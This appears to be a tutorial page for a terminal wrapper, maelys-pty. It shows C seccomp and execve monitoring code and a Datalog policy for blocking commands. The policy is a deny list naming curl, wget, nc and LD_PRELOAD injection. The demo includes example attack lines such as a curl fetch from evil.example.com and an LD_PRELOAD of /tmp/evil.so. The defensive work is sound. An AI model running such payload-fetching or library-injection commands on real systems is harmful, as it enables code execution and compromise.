maelys-pty
Level 3 — seccomp + execve + path resolution + envp
Explore native exec monitoring, canonical paths, environment evidence and its limitations.Continue from Level 2 — Risk model and confirmation. Keep the declarations and helpers from the earlier levels; this page extends the same wrapper in C and Python.
Level 3 moves enforcement to the syscall boundary. A seccomp BPF filter on
the child process traps every execve() call before the binary loads.
The parent reads the real binary path, resolves relative paths and symlinks
via the child’s CWD, and reads envp to detect linker-hijacking variables
such as LD_PRELOAD. All three are projected into EDB facts and evaluated
by the same Datalog policy. This catches aliases, shell scripts, and
environment injection that the Level 1 line filter cannot see.
Why the line filter is not enough
Before moving to Level 3, here is what a line filter — even with metachar scanning — cannot prevent:
| Attack vector | Level 1 (line buffer) | Level 3 (seccomp + execve) |
|---|---|---|
Shell alias: alias ls=rm | Sees ls, allows it | Sees /bin/rm |
Shell script: ./script.sh | Sees ./script.sh, script runs unchecked | Every execve() inside trapped |
Relative path: ./curl | Sees ./curl | Resolved to canonical path, checked |
LD_PRELOAD injection | Invisible to line filter | Read from envp, injected as EDB fact |
| Performance | Ultra-fast (no syscall overhead) | Context switches per execve |
The right strategy is both: Level 1 blocks typed lines fast and cheaply; Level 3 catches everything that slips past at the syscall boundary.
Attaching seccomp BPF
static void child_setup_ptrace(void) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { perror("ptrace"); _exit(1); }
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]), .filter = filter };
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
perror("seccomp"); _exit(1);
}
}Reading execve arguments with path resolution and envp
The monitor reads the stopped child's pathname, arguments and environment,
resolves the pathname against that child's CWD and filesystem namespace,
and rejects incomplete reads or failed resolution. Pass environment variable
names, not NAME=value strings, to the callbacks below. A canonical
pathname remains evidence, not a race-free identity of the executable.
Register a separate Level 3 domain containing pty_preds plus
executable_path/1 and env_var/1 as EDB predicates. Its atoms are the quoted
strings in the Level 3 policy below, including LD_PRELOAD, LD_LIBRARY_PATH
and the denial messages. Load this policy instead of appending it to Level 1;
the line-filter allow rule would otherwise bypass the Level 3 decision.
The current C session and Python ruleset then evaluate the same snapshot.
/* Add executable_path/1 and env_var/1 as EDB declarations for Level 3. */
static int evaluate_exec_snapshot(maelys_datalog_session_t *session,
const char *canonical_path, const char *const *argv, size_t argc,
const char *const *env_names, size_t env_count, const char *user)
{
if (!canonical_path || canonical_path[0] != '/' || !user || !user[0] ||
!argv || argc == 0 || argc > 64u || env_count > 128u ||
(env_count && !env_names)) return 0;
const char *command = strrchr(canonical_path, '/');
command = command ? command + 1 : canonical_path;
if (!command[0]) return 0;
maelys_datalog_input_edb_t *edb = NULL;
maelys_datalog_result_t *result = NULL;
maelys_datalog_diagnostic_t diagnostic = MAELYS_DATALOG_DIAGNOSTIC_INIT;
int allowed = 0;
maelys_datalog_status_t rc = maelys_datalog_input_edb_create(&edb);
if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
rc = MAELYS_DATALOG_ADD_FACTS(edb, &diagnostic,
MAELYS_DATALOG_FACT("executable_path", canonical_path),
MAELYS_DATALOG_FACT("command", command),
MAELYS_DATALOG_FACT("user", user));
if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
for (size_t i = 1; i < argc; ++i) {
rc = MAELYS_DATALOG_ADD_FACT(edb, &diagnostic, "arg", argv[i]);
if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
}
const char *const watched[] = {
"LD_PRELOAD", "LD_LIBRARY_PATH", "LD_AUDIT", "DYLD_INSERT_LIBRARIES"
};
for (size_t i = 0; i < env_count; ++i) {
if (!env_names[i]) { rc = MAELYS_DATALOG_STATUS_INVALID_ARGUMENT; goto cleanup; }
for (size_t j = 0; j < 4; ++j) {
if (strcmp(env_names[i], watched[j]) == 0) {
rc = MAELYS_DATALOG_ADD_FACT(edb, &diagnostic, "env_var", watched[j]);
if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
}
}
}
rc = maelys_datalog_session_solve_edb(session, edb, &result, &diagnostic);
if (rc != MAELYS_DATALOG_STATUS_OK) goto cleanup;
rc = MAELYS_DATALOG_QUERY(result, &allowed, "allow", command);
cleanup:
if (result) (void)maelys_datalog_result_free(result);
(void)maelys_datalog_input_edb_free(edb);
return rc == MAELYS_DATALOG_STATUS_OK && allowed;
}The Level 3 policy
/* ── Forbidden binaries ─────────────────────────────────────── */
forbidden_cmd("curl").
forbidden_cmd("wget").
forbidden_cmd("nc").
/* ── Trusted users ──────────────────────────────────────────── */
trusted_user("alice").
/* ── LD_PRELOAD injection is always denied ──────────────────── */
/* Regardless of which binary is being executed, LD_PRELOAD in
the environment means the binary's code is no longer trusted. */
deny(Cmd, "LD_PRELOAD_INJECTION") :-
command(Cmd),
env_var("LD_PRELOAD").
deny(Cmd, "LD_PRELOAD_INJECTION") :-
command(Cmd),
env_var("LD_LIBRARY_PATH").
/* ── Forbidden binary at canonical path ─────────────────────── */
deny(Cmd, "binary is forbidden by policy") :-
command(Cmd),
forbidden_cmd(Cmd),
user(U),
not(trusted_user(U)).
/* ── deny_any / allow ───────────────────────────────────────── */
deny_any(Op) :- deny(Op, Reason).
allow(Cmd) :- command(Cmd), not(deny_any(Cmd)).
Level 3 in action
bob@host:~$ bash script.sh
# script.sh: curl https://evil.example.com/payload
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
bash: /usr/bin/curl: Operation not permitted
bob@host:~$ ./curl https://example.com
# ./curl is a symlink to /usr/bin/curl
maelys-pty [L3]: execve('/usr/bin/curl') denied by policy
← resolved via /proc/[pid]/cwd + realpath(), policy matched correctly
alice@host:~$ LD_PRELOAD=/tmp/evil.so ls
maelys-pty [L3]: execve('/bin/ls') denied by policy ← env_var("LD_PRELOAD") fired
bash: /bin/ls: Operation not permittedWhat you have learned
Keep this model
Distinguish typed intent from the process actually executed- Observe the execution boundary
A native Linux monitor can provide the executable path, arguments and environment at execve. This complements the earlier inspection of the typed line.
- Evaluate the observed evidence
The extended policy uses executable-path and environment facts, including injection-sensitive variables. Incomplete inspection must not be treated as permission.
- Keep the limits visible
The native snippets illustrate integration, not a finished sandbox. Canonicalizing a pathname does not prove a race-free executable identity, and the Python binding does not implement the syscall monitor.